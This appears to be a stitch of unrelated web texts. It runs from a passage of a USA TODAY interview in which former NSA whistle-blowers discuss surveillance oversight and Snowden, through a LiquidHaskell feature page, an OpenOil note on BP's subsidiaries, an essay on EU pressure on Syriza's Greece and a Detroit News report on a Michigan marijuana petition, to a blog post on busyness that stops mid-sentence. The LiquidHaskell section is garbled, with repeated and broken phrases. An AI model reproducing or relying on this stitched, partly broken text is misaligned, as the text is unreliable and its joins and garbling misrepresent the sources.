"super-user" with USA TODAY reporters Susan Page and Peter Eisler. Shannon Rae Green, Kaveh Rezaei, Steve Elfers, Leslie Smith, Jr., Benjamin Dorger  Q: As he said, he could tap the president's phone?  Binney: As a super-user and manager of data in the data system, yes, they could go in and change anything.  Q: At a Senate hearing in March, Oregon Democratic Sen. Ron Wyden asked the director of national intelligence, James Clapper, if there was mass data collection of Americans. He said "no." Was that a lie?  Drake: This is incredible dissembling. We're talking about the oversight committee, unable to get a straight answer because if the straight answer was given it would reveal the perfidy that's actually going on inside the secret side of the government.  Q: What should Clapper have said?  Binney: He should have said, "I can't comment in an open forum."  NSA whistle-blower J. Kirk Wiebe. (Photo11: H. Darr Beiser, USA TODAY)  Wiebe: Yeah, that's right.  Q: Does Congress provide effective oversight for these programs?  Radack: Congress has been a rubber stamp, basically, and the judicial branch has been basically shut down from hearing these lawsuits because every time they do they are told that the people who are challenging these programs either have no standing or (are covered by) the state secrets privilege, and the government says that they can't go forward. So the idea that we have robust checks and balances on this is a myth.  Binney: But the way it's set up now, it's a joke. I mean, it can't work the way it is because they have no real way of seeing into what these agencies are doing. They are totally dependent on the agencies briefing them on programs, telling them what they are doing. And as long as the agencies tell them, they will know. If they don't tell them, they don't know. And that's what's been going on here.  And the only way they really could correct that is to create billets on these committees and integrate people in these agencies so they can go around every day and watch what is happening and then feed back the truth as to what's going on, instead of the story that they get from the NSA or other agencies. ...  Even take the FISA court, for example. The judges signed that order. I mean, I am sure they (the FBI) swore on an affidavit to the judge, "These are the reasons why," but the judge has no foundation to challenge anything that they present to him. What information does the judge have to make a decision against them? I mean, he has absolutely nothing. So that's really not an oversight.  Radack: The proof is in the pudding. Last year alone, in 2012, they approved 1,856 applications and they denied none. And that is typical from everything that has happened in previous years. ... I know the government has been asserting that all of this is kosher and legitimate because the FISA court signed off on it. The FISA court is a secret court — operates in secret. There is only one side and has rarely disapproved anything.  CLOSE Three former NSA whistle-blowers discuss whether there is effective oversight on intelligence-gathering with USA TODAY reporters Susan Page and Peter Eisler. Shannon Rae Green, Kaveh Rezaei, Steve Elfers, Leslie Smith, Jr., Benjamin Dorger  Q: Do you think President Obama fully knows and understands what the NSA is doing?  Binney: No. I mean, it's obvious. I mean, the Congress doesn't either. I mean, they are all being told what I call techno-babble ... and they (lawmakers) don't really don't understand what the NSA does and how it operates. Even when they get briefings, they still don't understand.  Radack: Even for people in the know, I feel like Congress is being misled.  Binney: Bamboozled.  Radack: I call it perjury.  Q: What should Edward Snowden expect now?  Binney: Well, first of all, I think he should expect to be treated just like Bradley Manning (an Army private now being court-martialed for leaking documents to WikiLeaks). The U.S. government gets ahold of him, that's exactly the way he will be treated.  Q: He'll be prosecuted?  Binney: First tortured, then maybe even rendered and tortured and then incarcerated and then tried and incarcerated or even executed.  Wiebe: Now there is another possibility, that a few of the good people on Capitol Hill — the ones who say the threat is much greater than what we thought it was — will step forward and say give this man an honest day's hearing. You know what I mean. Let's get him up here. Ask him to verify, because if he is right — and all pointers are that he was — all he did was point to law-breaking. What is the crime of that?  Drake: But see, I am Exhibit No. 1. ...You know, I was charged with 10 felony counts. I was facing 35 years in prison. This is how far the state will go to punish you out of retaliation and reprisal and retribution. ... My life has been changed. It's been turned inside, upside down. I lived on the blunt end of the surveillance bubble. ... When you are faced essentially with the rest of your life in prison, you really begin to understand and appreciate more so than I ever have — in terms of four times I took the oath to support the Constitution — what those rights and freedoms really mean. ...  Believe me, they are going to put everything they have got to get him. I think there really is a risk. There is a risk he will eventually be pulled off the street.  CLOSE Three former NSA whistle-blowers discuss what Snowden should expect, and what they would say to him with USA TODAY reporters Susan Page and Peter Eisler. Shannon Rae Green, Kaveh Rezaei, Steve Elfers, Leslie Smith, Jr., Benjamin Dorger  Q: What do you mean?  Drake: Well, fear of rendition. There is going to be a team sent in.  Radack: We have already unleashed the full force of the entire executive branch against him and are now doing a worldwide manhunt to bring him in — something more akin to what we would do for Osama bin Laden. And I know for a fact, if we do get him, he would definitely face Espionage Act charges, as other people have who have exposed information of government wrongdoing. And I heard a number of people in Congress (say) he would also be charged with treason.  These are obviously the most serious offenses that can be leveled against an American. And the people who so far have faced them and have never intended to harm the U.S. or benefit the foreign nations have always wanted to go public. And they face severe consequences as a defector. That's why I understand why he is seeking asylum. I think he has a valid fear.  Wiebe: We are going to find out what kind of country we are, what have we become, what do we want to be.  Q: What would you say to him?  Binney: I would tell him to steer away from anything that isn't a public service — like talking about the ability of the U.S. government to hack into other countries or other people is not a public service. So that's kind of compromising capabilities and sources and methods, basically. That's getting away from the public service that he did initially. And those would be the acts that people would charge him with as clearly treason.  Drake: Well, I feel extraordinary kinship with him, given what I experienced at the hands of the government. And I would just tell him to ensure that he's got a support network that I hope is there for him and that he's got the lawyers necessary across the world who will defend him to the maximum extent possible and that he has a support-structure network in place. I will tell you, when you exit the surveillance-state system, it's a pretty lonely place — because it had its own form of security and your job and family and your social network. And all of a sudden, you are on the outside now in a significant way, and you have that laser beam of the surveillance state turning itself inside out to find and learn everything they can about you.  Wiebe: I think your savior in all of this is being able to honestly relate to the principles embedded in the Constitution that are guiding your behavior. That's where really — rubber meets the road, at that point.  Radack: I would thank him for taking such a huge personal risk and giving up so much of his life and possibly facing the loss of his life or spending it in jail. Thank him for doing that to try to help our country save it from itself in terms of exposing dark, illegal, unethical, unconstitutional conduct that is being done against millions and millions of people.  Drake: I actually salute him. I will say it right here. I actually salute him, given my experience over many, many years both inside and outside the system. Remember, I saw what he saw. I want to re-emphasize that. What he did was a magnificent act of civil disobedience. He's exposing the inner workings of the surveillance state. And it's in the public interest. It truly is.  Wiebe: Well, I don't want anyone to think that he had an alternative. No one should (think that). There is no path for intelligence-community whistle-blowers who know wrong is being done. There is none. It's a toss of the coin, and the odds are you are going to be hammered.  CLOSE Three former NSA whistle-blowers discuss whether there is a better way to gather intelligence with USA TODAY reporters Susan Page and Peter Eisler.  Q: Is there a way to collect this data that is consistent with the Fourth Amendment, the constitutional protection against unreasonable search and seizure?  Binney: Two basic principles you have to use. ... One is what I call the two-degree principle. If you have a terrorist talking to somebody in the United States — that's the first degree away from the terrorist. And that could apply to any country in the world. And then the second degree would be who that person in the United States talked to. So that becomes your zone of suspicion.  And the other one (principle) is you watch all the jihadi sites on the Web and who's visiting those jihadi sites, who has an interest in the philosophy being expressed there. And then you add those to your zone of suspicion.  Everybody else is innocent — I mean, you know, of terrorism, anyway.  Wiebe: Until they're somehow connected to this activity.  Binney: You pull in all the contents involving (that) zone of suspicion and you throw all the rest of it away. You can keep the attributes of all the communicants in the other parts of the world, the rest of the 7 billion people, right? And you can then encrypt it so that nobody can interrogate that base randomly.  That's the way of preventing this kind of random access by a contractor or by the FBI or any other DHS (Department of Homeland Security) or any other department of government. They couldn't go in and find anybody. You couldn't target your next-door neighbor. If you went in with his attributes, they're encrypted. ... So unless they are in the zone of suspicion, you won't see any content on anybody and you won't see any attributes in the clear. ...  It's all within our capabilities.  Drake: It's been within our capabilities for well over 12 years.  Wiebe: Bill and I worked on a government contract for a contractor not too far from here. And when we showed him the concept of how this privacy mechanism that Bill just described to you — the two degrees, the encryption and hiding of identities of innocent people — he said, "Nobody cares about that." I said, "What do you mean?"  This man was in a position to know a lot of government people in the contracting and buying of capabilities. He said. "Nobody cares about that."  Lawyer Jesselyn Radack, left, with whistle-blowers J. Kirk Wiebe, standing; William Binney, center; and Thomas Drake. (Photo11: H. Darr Beiser, USA TODAY)  Drake: This (kind of surveillance) is all unnecessary. It is important to note that the very best of American ingenuity and inventiveness, creativity, had solved the major challenge problem the NSA faced: How do you make sense of vast amounts of data, provide the information you need to protect the nation, while also protecting the fundamental rights that are enshrined in the Constitution?  The government in secret decided — willfully and deliberately — that that was no longer necessary after 9/11. So they said, you know what, hey, for the sake of security we are going to draw that line way, way over. And if it means eroding the liberties and freedoms of Americans and others, hey, so be it because that's what's most important. But this was done without the knowledge of the American people.  Q: Would it make a difference if contractors weren't used?  Wiebe: I don't think so. They are human beings. You know, look at what's going on with the IRS and the Tea Party. You know, there (are) human beings involved. We are all human beings — contractors, NSA government employees. We are all human beings. We undergo clearance checks, background investigations that are extensive and we are all colors, ages and religions. I mean this is part of the American fabric.  Binney: But when it comes to these data, the massive data information collecting on U.S. citizens and everything in the world they can, I guess the real problem comes with trust. That's really the issue. The government is asking for us to trust them.  It's not just the trust that you have to have in the government. It's the trust you have to have in the government employees, (that) they won't go in the database — they can see if their wife is cheating with the neighbor or something like that. You have to have all the trust of all the contractors who are parts of a contracting company who are looking at maybe other competitive bids or other competitors outside their — in their same area of business. And they might want to use that data for industrial intelligence gathering and use that against other companies in other countries even. So they can even go into a base and do some industrial espionage. So there is a lot of trust all around and the government, most importantly, the government has no way to check anything that those people are doing.  Q: So Snowden's ability to access information wasn't an exception?  Binney: And they didn't know he was doing (it). ... That's the point, right? ...They should be doing that automatically with code, so the instant when anyone goes into that base with a query that they are not supposed to be doing, they should be flagged immediately and denied access. And that could be done with code.  But the government is not doing that. So that's the greatest threat in this whole affair.  Wiebe: And the polygraph that is typically given to all people, government employees and contractors, never asks about integrity. Did you give an honest day's work for your pay? Do you feel like you are doing important and proper work? Those things never come up. It's always, "Do you have any association with a terrorist?" Well, everybody can pass those kinds of questions. But, unfortunately, we have a society that is quite willing to cheat.  Editor's note: Excerpts have been edited for length and clarity.  Read or Share this story: http://usat.ly/11SlOPv
-Guarantee Functions are Total  head is not total as it is missing the case for [] and checks that it is total on NonEmpty lists. LH warns you thatis not total as it is missing the case forand checks that it is total onlists. (more...)  The input contract propagates to uses of head which are verified by ensuring the arguments are NonEmpty .  Keep Pointers Within Bounds  LH lets you avoid off-by-one errors that can lead to crashes or buffer overflows. (more...)  Dependent contracts let you specify, e.g. that dotProduct requires equal-sized vectors.  Avoid Infinite Loops  terminate and so warns about the infinite recursion due to the missing case in fib . (more...) LH checks that functionsand so warns about the infinite recursion due to the missing case in  Metrics let you check that recursive functions over complex data types terminate.  Enforce Correctness Properties  ordered, as refinements. LH makes illegal values be unrepresentable. (more...) Write correctness requirements, for example a list is, as refinements. LH makes illegal values be  LH automatically points out logic bugs, and proves that functions return correct outputs for all inputs.  Prove Laws by Writing Code  Specify laws, e.g. that the append function ++ is associative, as Haskell functions.  equational proofs that are plain Haskell functions. Induction is simply recursion, and case-splitting is just pattern-matching. Verify laws viathat are plain Haskell functions. Induction is simply recursion, and case-splitting is just pattern-matching. (more...)  LiquidHaskell (LH)Haskell's types with logical predicates that let you enforce critical properties at. (Hover on images to animate.)
-BP corporate network  Find out more about:  With over 1000 affiliate companies, BP controls a complex network of corporate entities. OpenOil, in partnership with OpenCorporates, developed a network of BP’s subsidiaries that aims to shed light on the corporate structure of the oil multinational, active in more than 80 jurisdictions and with ownership chains going up to 12 levels deep.  Only using public disclosures that BP itself has made, OpenOil and iilab established a prototype tool and methodology that can be used to facilitate investigations into other major corporate players in the extractive industries, available under: data.openoil.net  Features  Click to check: for every data point in this network, we provide a reference to the source, which in the case of the BP network is always a document pulled from the company’s filings in the UK company register. Right now, our data set includes:
-Like the traditional Greek song, in Athens “everything changes and everything stays the same”. Four months after Syriza’s victory, the parties that had governed since the overthrow of the military dictatorship — the Panhellenic Socialist Movement (Pasok) and New Democracy (rightwing) — have been completely discredited. The first radical leftist government since the “mountain government” at the time of the German occupation is very popular.  Although the “troika”, hated because of its responsibility for the current economic disaster, is no longer mentioned, its three “institutions” — the European Commission, European Central Bank (ECB) and International Monetary Fund (IMF) — continue their policies. With threats, blackmail and ultimatums, a new “troika” is imposing the same austerity on the government of Alexis Tsipras.  With wealth generation down by 25% since 2010 and an unemployment rate of 27% (more than 50% for those under 25), Greece has an unprecedented social and humanitarian crisis. But despite the results of the January elections, which gave Tsipras a clear mandate to end austerity, the European Union continues to treat Greece as a naughty pupil who must be punished by the stern teachers in Brussels, to discourage daydreaming voters in Spain and elsewhere who still believe in the possibility of governments opposed to the German dogma.  This situation is like Chile in the 1970s, when US president Richard Nixon was determined to topple Salvador Allende to prevent leftwing contagion in America’s backyard. “Make the economy scream,” said Nixon, and when it did, General Augusto Pinochet took over.  The silent coup under way in Greece is using more modern tools, including credit rating agencies, the media and the ECB. Two options will remain for Tsipras’s government: to be strangled financially if it keeps trying to implement its programme, or to renege on its promises and fall, abandoned by its voters.  The hope disease ECB president Mario Draghi announced three days before the Greek election that the bank’s intervention programme (the ECB buys €60bn in sovereign bonds issued by eurozone countries each month) would be open to Greece under certain conditions: this was to avoid spreading the Syriza virus, the hope disease, to the rest of Europe. The eurozone’s weak link, which needs help the most, would not get support until it submitted to Brussels.  Greeks are hard-headed. They voted for Syriza, compelling the Eurogroup’s president Jeroen Dijsselbloem to call them to order: “The Greek people have to realise that the major problems in the Greek economy have not disappeared and haven’t even changed overnight because of the simple fact that an election took place.” Christine Lagarde, managing director of the IMF, said: “We cannot make special exceptions for specific countries,” while Benoît CÅ“uré, member of the ECB executive board, went further: “Greece has to pay, those are the rules of the European game.”  Draghi soon demonstrated that the eurozone knew how to “make the economy scream” too: without any explanation, he shut off the Greek banks’ primary source of funding, which was replaced by Emergency Liquidity Assistance (ELA), a more costly measure that has to be renewed weekly. The rating agency Moody’s announced that Syriza’s victory “has an adverse effect on [Greece’s] economic growth prospects.”  Grexit — Greece’s exit from the eurozone — and a payment default were back on the agenda. Only two days after the elections, Marcel Fratzscher, president of the German Institute for Economic Research (DIW) and former economist at the ECB, said Tsipras was playing a dangerous game: “If people start to believe that he is really serious, you could have massive capital flight and a bank run. You are quickly at a point where a euro exit becomes more possible” — a perfect example of a self-fulfilling prophecy that worsened Greece’s economic plight.  Syriza had little room to manoeuvre. Tsipras was elected to renegotiate the terms and conditions attached to the “aid”. But the idea of an exit from the eurozone is not supported by most Greeks, who have been persuaded by the Greek and international media that Grexit would be a disaster. And participation in the single currency strikes other very sensitive chords.  Grexit is still taboo Since independence in 1822, Greece has swung between a past as part of the Ottoman empire, and “Europeanisation”. Both its elites and ordinary people have always seen being part of Europe as signifying modernity and an end to underdevelopment. Participation in Europe’s “hard core” was supposed to make this national dream happen. So, during the election campaign, Syriza candidates felt obliged to treat Grexit as taboo.  At the heart of the negotiations between Tsipras’s government and the “institutions” are the conditions set by the lenders, the “memorandums” that have forced Athens since 2010 to implement devastating austerity and overtaxation. More than 90% of the lenders’ payments are returned to them directly — sometimes the next day — because they are used to repay the debt. As finance minister Yanis Varoufakis, who wants a new agreement with the lenders, said: “Greece has spent the last five years living for the next loan tranche like drug addicts craving the next dose.” Since non-repayment of the debt is equivalent to a “credit event” (a kind of bankruptcy), releasing the dose becomes a very powerful blackmail weapon for the lenders. In theory, since the lenders need repaying, the Greek government has considerable bargaining power, but using this leverage would have prompted the ECB to stop lending to Greek banks, meaning a return to the drachma.  It was not surprising then that within three weeks of the Syriza win, the finance ministers of the other 18 eurozone countries sent an ultimatum to Greece — its government must implement the austerity programme it had inherited, or meet its obligations by finding the money elsewhere. The New York Times concluded this was “a prospect that many in the financial markets think would leave Greece little option but to leave the euro.”  Four-month truce To escape, the Greek government requested a four-month truce. It did not ask for disbursement of the €7.2bn but hoped that both sides would reach an agreement incorporating measures to develop the economy and resolve the debt problem. It would have been tactless to bring the government down immediately, so the lenders accepted the request.  The Greek government thought it could count, at least temporarily, on certain sums. It hoped for €1.2bn from the European Financial Stability Facility’s reserves — a sum not used in the process of recapitalising Greece’s banks — as well as €1.9bn that the ECB had earned on Greek bonds and promised to give back to Athens. In March, the ECB announced that it would not return these earnings; and the Eurogroup ministers decided to transfer this money to Luxembourg, as if they feared the Greeks would steal it. The Tsipras team, inexperienced and not expecting such manoeuvres, assented without demanding any guarantees. In an interview with the TV channel Star, Tsipras admitted that not asking for a written agreement had been an error.  The Greek government remained popular despite the concessions it had agreed to — no reversals of the privatisations of the previous government, a postponement of the increase in the minimum wage, and increased value-added tax (VAT). So Germany launched a campaign to discredit the government. Der Spiegel published an article on the “tortured relationship” between Varoufakis and German finance minister Wolfgang Schäuble, written by, among others, Nikolaus Blome, recently transferred from Bild, where he was the hero of its campaign in 2010 against the “lazy Greeks.” Schäuble publicly mocked Varoufakis as being “stupidly naïve”, a rare occurrence in the history of the EU and in international diplomacy. Der Spiegel presented Schäuble as a benevolent Sisyphus, sorry that Greece would be condemned to fail and leave the eurozone unless Varoufakis was removed from his post.  With capital flight, grim predictions and threats worsening, Dijsselbloem declared in the New York Times that the Eurogroup was considering whether to apply the Cyprus model to Greece, limiting capital flows and reducing deposits. This could only be seen as an unsuccessful attempt to provoke a banking panic. While the ECB and Draghi were further restricting Greek banks’ options for finance, Bild published a pseudo-story about a panic in Athens, misrepresenting a banal scene of pensioners queuing outside a bank on pension day.  First German fruits At the end of April, Varoufakis was replaced by his assistant Euclid Tsakalotos for negotiations with the lenders, and said: “The government today faces a new kind of coup, one that is not carried out with tanks, as in 1967, but through banks.” For now, the silent coup has affected only him. But time is on the side of the lenders, who are demanding neoliberal “remedies”. Each has its own obsession. The IMF ideologues insist on the deregulation of the labour market as well as legalisation of mass redundancies, which it promised to the Greek oligarchs who own the banks. The EC (or rather, the German government) demands further low-cost privatisations that may interest German companies. One scandalous example that stands out from the long list is that of 28 buildings sold by the Greek state in 2013 — it still uses them and must pay the new owners €600m in rent over the next 20 years, almost triple their sale price.  The Greek government, in a weak position and abandoned by those whom it had hoped would support it, such as France, can’t resolve the country’s main problem: an unsustainable debt. The proposal for an international conference similar to the 1953 event where Germany was forgiven most of its war reparations, opening the way to its economic miracle, has been lost amid threats and ultimatums (including a warning of Greek default this month). Tsipras wants a better agreement, but any deal reached would be a long way from the programme voted for by Greeks. Jyrki Katainen, the EC vice-president, was clear on this the day after the election: “We don’t change our policy according to elections.”  So do elections have any meaning when a country which respects its major commitments is allowed no rights to modify its policies? The Greek party Golden Dawn, and its neo-Nazis, have an answer to that, and it may be that they will benefit more from the failure of Tsipras’s government than will Schäuble’s supporters in Athens.
-Devante Johnson, left, 22, of Detroit, signs petitions in August to regulate part-time legislators and make recreational marijuana legal for those over 21 in Michigan. On Monday, a group seeking to legalize recreational marijuana in Michigan says it has collected enough signatures to qualify for the 2018 ballot but is struggling to pay off the professional firm it hired to gather them. (Photo: Todd McInturf / Detroit News)  Lansing — A group seeking to legalize recreational marijuana in Michigan says it has collected enough signatures to qualify for the 2018 ballot but is struggling to pay off the professional firm it hired to gather them.  The Coalition to Regulate Marijuana Like Alcohol had planned to file petitions with the state as early as Tuesday, but National Petition Management of Brighton will not release final signatures from paid circulators until the group settles its debt of roughly $30,000, spokesman Josh Hovey confirmed Monday.  The committee is “raising the final funds needed to pay off that bill, and then we’ll be good to go with the state,” he said.  Organizers anticipate they will still submit signatures to the Michigan Secretary of State next week, if not sooner, once they secure enough funding to pay National Petition Management, as required by a vendor contract.  “I wouldn’t call it a problem,” Hovey said of the cash shortfall. “We need to pay off our final balance to them and then make sure we double check all the signatures before turning them in. If anything, it’s giving us extra time to make sure that work is done and done right.”  The pot proposal would regulate commercial marijuana production and retail sales in Michigan. Smoking would not be allowed on public sidewalks. Local communities could decide whether they want to allow marijuana businesses.  Retail sales would be taxed at 10 percent, plus sales tax, with the new revenue going to K-12 schools, road repairs and participating cities and counties.  As of Thursday, paid circulators had collected 250,288 valid signatures and volunteers had collected another 25,732, campaign outreach coordinator Lisa Satori told advocates Sunday at a board meeting for the Michigan chapter of the National Organization for the Reform of Marijuana Laws.  That’s nearly 10 percent more than the 252,523 signatures the group needs to collect in an initial 180-day window that will start closing Nov. 22. If organizers don’t submit by that sliding deadline, old signatures would become invalid at a rate that could be “terminal to the project,” she said.  “So this is not a done deal, guys, and while we should absolutely be celebrating that we got all these signatures in hand, we are now postponing turn-in that was scheduled for Tuesday,” Satori said, according to video from the meeting.  Campaign finance records show the committee had $6,297.05 left in the bank as of Oct. 20. The group has raised $606,932 in direct contributions but spent $600,635, including more than $307,000 in payments to National Petition Management.  The pot legalization committee has also benefited from nearly $700,000 in “in-kind contributions” from supporters and organizations who donated services, including signature collection. The largest backer is the national Marijuana Policy Project, whose nonprofits have kicked in $342,794 in direct and in-kind contributions.  All told, the ballot committee has raised more than $1.3 million and spent the equivalent of $782,828 on signature gathering, said Craig Mauger of the Michigan Campaign Finance Network.  Organizers of successful Michigan petition drives often spend $1 million or more to gather signatures, Mauger said. A group called Protecting Michigan Taxpayers, which submitted 380,000 signatures to the state this month, had spent $1 million on paid circulators through Oct. 20.  While some law enforcement officials have raised concerns with the marijuana proposal, it has not yet faced any significant organized opposition. A group called the Committee to Keep Pot Out of Neighborhoods and Schools had raised $5,000 through Oct. 20, according to state records.  The Michigan Responsibility Council, a marijuana industry trade group, was the lone donor to the opposition committee and did not return a call seeking comment on Monday.  The early fundraising struggles could spell trouble for the legalization effort, although organizers say qualifying for the ballot will open up new donor streams. Campaigns in other states have cost millions of dollars.  “If this gets on the ballot, I would expect it to potentially be an expensive one,” Mauger said.  Satori blamed the group’s recent fundraising crunch on a variety of factors, including “friendly fire” among pro-marijuana groups and uncertainty over new medical pot regulations being developed by the state.  Rick Thompson, a board member of MI NORML and the MI Legalize committee that is assisting in the petition drive, said uncertainty over federal enforcement has also “dampened” fundraising efforts.  Marijuana remains illegal under federal law. U.S. Attorney General Jeff Sessions has hinted at a potential crackdown that would reverse a hands-off policy adopted under former President Barack Obama’s administration.  “Some people are really holding their breath waiting for the best opportunity to get into the industry, and as long as Jeff Sessions continues to disrespect the marijuana industry, some folks are going to keep their money in their pockets,” said Thompson, owner of the Michigan Cannabis Business Development group.  Still, Thompson predicted success for the ballot issue.  “The fact is we’ve got a huge base of support among activists and medical marijuana patients, as well as a national base of support from other players who want Michigan to be successful,” he said.  Voters in eight states have approved recreational marijuana laws. Colorado was the first state to implement legalization, with retail sales beginning in 2014. Maine Republican Gov. Paul LePage this month vetoed legislation to regulate and tax the drug despite voters last year approving a legalization measure.  Many other states, including Michigan, have legalized marijuana for medical use.  joosting@detroitnews.com  Read or Share this story: http://detne.ws/2jrdSXl
-You used to take pride in how busy you were. Lately, though, you realize it’s not working as you hoped. You’re tired. You’re stressed. And, you aren’t actually that effective. What if the best thing you can do for your career—and life—is to press pause, own your first priority, and set up a smarter way of working?  You skipped breakfast. (The extra sleep was worth it.) Some days you grab a rubbery breakfast sandwich from Starbucks. Not today, though. There’s only time for espresso. You scan and respond to email on your bus ride in. You save the ones that require longer responses for when you’re at your desk. Most days you’re through the worst by 10AM. Then it’s one meeting after another.  The email doesn’t stop, though. That inbox is newly filled after each meeting. Lunch is quick—only 20 minutes. You sneak in another coffee, and respond to staff questions before your next meeting. By 5:00, when everyone else goes home, your inbox is pretty much empty—but the items in your task list haven’t budged. So, now that the office is quiet, you’ll do some “real work.”  By 10:00, you’re home. The kids are asleep, as is your spouse. You re-heat the dinner they (kindly) left out for you. You drink a few glasses of wine, to unwind, and watch a shitty movie. It’s been a tough stretch and you deserve some rest. Truth be told, though, you’ve been busy for a long while. Some days, you wish it’d all just blow up, so you could start over.  You can’t lifehack this one  The above scenario isn’t some hypothetical situation. In fact, just a few years ago, it was my life. (That’s a story for another time, though.) Busyness is a popular disease many suffer from. The long hours, the mounting stress, and perpetual state of “pursuit mode” is all too common. Part of what makes it so insidious, is that our culture reveres this state.  You probably reason that all of your struggle is temporary discomfort, and a means to an end. Is it actually, though? Can you honestly say that your situation has markedly improved (by whichever measure you choose) as a result of your busyness? Often, the opposite is the case. Like a car stuck on ice, stepping on the gas pedal makes the wheels spin harder—but takes you nowhere.  If you’re busy in the way I describe, you might just be stuck in a loop. You race from one situation to the next, mostly reacting to whatever is happening. All of this activity makes you feel like you’re doing something—but at the end of the day, you can’t remember what. This leaves you searching for new approaches, tricks, and lifehacks, so you can achieve more. (This often leads you to do a greater number of things that still don’t matter.)  Time is the singular measure of life. It’s one of the few things you can not get more of. Knowing how to spend it well is possibly the most important skill you can have. —Scott Berkun  In the meanwhile, you’re shortening your life—figuratively and literally. Racing through life means missing out on a lot of experiences. The physical toll on your body robs you of years. All those quick, greasy meals are making you sick. Your lack of exercise puts you at higher risk for heart disease, cancer, and other illnesses. Stress is driving up your cortisol levels, which in time leads to fatigue and insomnia. Meanwhile, you lack sleep—which will kill you faster than a lack of food. You present yourself as a warrior for pushing so hard. In time, though, you’ll break—just like any other mortal.  Busy people get good at triage: they deal with acute problems quickly, and then move on. Although this might be necessary, it rarely ever fixes bigger systemic problems. You need perspective, so you can introduce systems that help mitigate such emergencies. But if you expend most of your effort dealing with messes, you won’t have time to put better apparatus in place.  This part might sting…  You’ll recognize what I say next as true; nevertheless, it’ll seem wrong. This is because your instruments are giving you the wrong information. (More accurately, you’re looking at the wrong instruments.) Films, television, news, and advertising lionize busyness and busy people. I call bullshit, though. I say you’re not busy because you’re getting things done. I say you’re busy because you’re weak.  You’re weak when you do things the hard way, instead of inventing more efficient methods. You’re weak when you take on a pile of small, inconsequential tasks, instead of biting into the one that really matters. Most of all, you’re weak because you fail to identify purpose (probably due to FOMO), and instead do all kinds of things that distract you from what’s most important.  Frankly, I bet the bulk of what you do when you’re busy is a waste of time. I say this from first hand knowledge. For years, I worked to grow a design studio. During that time, I wrote policies, created manuals, drafted strategies, planned company outings, published books, wrote blog articles, entered award shows, shot-the-shit with staff members, customized our invoices, updated our social media accounts, spoke at conferences, designed stickers to identify specific workstations, and all kinds of other stuff. In retrospect, most of these tasks didn’t matter one little bit.  The two things that did? 1) Selling work so we had steady cash flow. 2) Hiring and supporting the very best talent we could find. I failed to do the first, because selling wasn’t fun. This made the latter difficult. In time, I grew tired of the experience, and retooled it entirely. This turned out for the best, but it doesn’t change my point: being busy with the wrong things is foolish. Now, I live with the awareness that I squandered years of my life choosing to be busy.  Activity addiction is a real thing. Checking off tasks in your to do list feels good. However, if those tasks aren’t getting you anywhere, they’re like empty calories: they fill up your day, without making you any better for it. So, when you pretend to work (e.g., updating your social media feed) you’re really just lying to everyone: your boss, your family, and yourself.  Don’t feel bad about this. You’re certainly not alone. And there’s good reason why you keep doing things that don’t matter: the work that most needs doing is often the hardest, or most intimidating.  Maybe you didn’t even need to do it  If I haven’t lost you yet (that “you’re weak” part probably didn’t help), you’re probably asking yourself how you got so out of control. You’re not a dummy, and you consider yourself open to better methods. So, how the heck did you end up in this mess? Let me suggest a few possibilities.  The first, and most obvious, likelihood is that you attempt to do too many things. This seems easy to fix, but it’s a constant battle. We tend to think that adding more will improve a situation. However, each new thing you agree to do, brings with it a bunch of associated tasks. (For example, committing to a new ad campaign will also involve hiring an agency, meetings to approve creative, proof-reading copy, dealing with invoices, conflict resolution, reviewing reports, and the list goes on.)  You can add to this the fact that others invent jobs for you to do, and the challenge in saying “no” to such requests. That said, these aren’t your biggest problems. Nope. The one that really gets you is your messed up values. Most people don’t take the time to define what they want to achieve, and what they stand for. As a result, they don’t know what work they shouldn’t do.  Take that ad campaign I refer to. If you know what its purpose is, and it achieves said purpose, all of that work is probably worthwhile. This isn’t the way things tend to happen, though. In actuality, such campaigns often have dubious goals like “generating awareness.” It’s hard to measure the effectiveness of efforts with such vague aims. If you don’t know why you’re doing something, you might be better off by just not doing it.  All of this relates to a common narrative that’s bigger than you. It goes back to the Protestant work ethic, which emphasizes that hard work, discipline, and frugality are pivotal to one’s salvation. Most of us dropped the latter two notions, and remixed the first one. Our perverted rework of it is: busy = better. But you and I know there are countless busy people in the world who don’t accomplish anything.  Set your number one priority  I’m still busy a lot of the time, but this isn’t my default state. To me, this is a reasonable trade off: I’m engaged, and sometimes stretched thin, but I don’t feel out-of-control for long periods. You can achieve the same, but you’ll first need to press pause. This means putting down that which you’re working on and taking some time out. This’ll be hard, but it’s key to breaking this cycle you’re in. Sure, you’ll lose a few days or weeks, but important repairs sometimes require you to shut the engine off.  Taking time to think provides an opportunity to recalibrate your values. This is immensely important. A lot of people are busy doing things they hate, to get stuff that they don’t even care about. Here’s an interesting way of looking at this: Would you sell me your life? In this exchange, you get a BMW, a nice house, and $5 million in the bank—but only one year to live. My bet is that you’d turn down this offer. Curiously, though, many trade their healthy years away for the hope of future fortunes (which often don’t materialize).  “Man … sacrifices his health in order to make money. Then he sacrifices money to recuperate his health. And then he is so anxious about the future that he does not enjoy the present. The result being that he does not live in the present or the future; he lives as if he is never going to die, and then dies having never really lived.” —The Dalai Lama  I say the single most important part of your life is your health. Without it, money is of little significance and you lose the opportunity to be with those you love. For this reason, I suggest you treat your personal health as your single greatest priority. This means eating unprocessed food, mostly derived from plants. It means planning your work around your daily exercise commitment. It means getting a good night’s sleep and minimizing stress.  For me, healthy living isn’t a matter of flipping a switch. Instead, it seems like a series of small ongoing decisions that lead to better habits. The way I look at it, you can lose a promotion, a raise, or even your job, and still live a good life. Ignore your health, though, and you might lose everything.  Now, we can talk about work  So long as you have your health, life can be pretty interesting. For many people it isn’t, though—because they haven’t determined what they care about. Admittedly, this is a tough question. The smorgasbord of life is abundant. Choosing one or two items from it won’t be easy. You’ll want more, which will prevent you from having anything. Or, you’ll be tempted to make the same choices as those around you. Don’t. Your path is yours alone.  I’ll write about how to identify purposeful work in future blog posts. I’ll also talk to experts on the topic, on our upcoming podcast: Query. For now, though, let me emphasize the immense energy you can tap by being of service. Some will serve people or humanity, others will serve animals or the environment, yet others will serve discovery or culture. I’m not here to say which is right for you. What I can say (with a fair amount of certainty) is that any form of service will offer you more clarity, presence, and fulfillment than acting in self-interest.  There’s more to life than work. There are family, friends, travel, books, sports, dining, and many other wonderful things. The reason I emphasize work is that I believe it affords disproportionate returns. Through it, you can truly contribute to the world around you. It’s also a lens through which you can see and experience the world. If you can identify work you wish to do—and know why you’re doing it—you’ll possess a strength that eludes many.  Now, you must apply this sense of purpose to your actions. Knowing what you want to accomplish should help you determine which tasks are most relevant. This will take time and discipline. You need to stop hiding from discomfort and do the hard work. Which tasks matter most? Find out, and act on those. In doing so, you should see greater 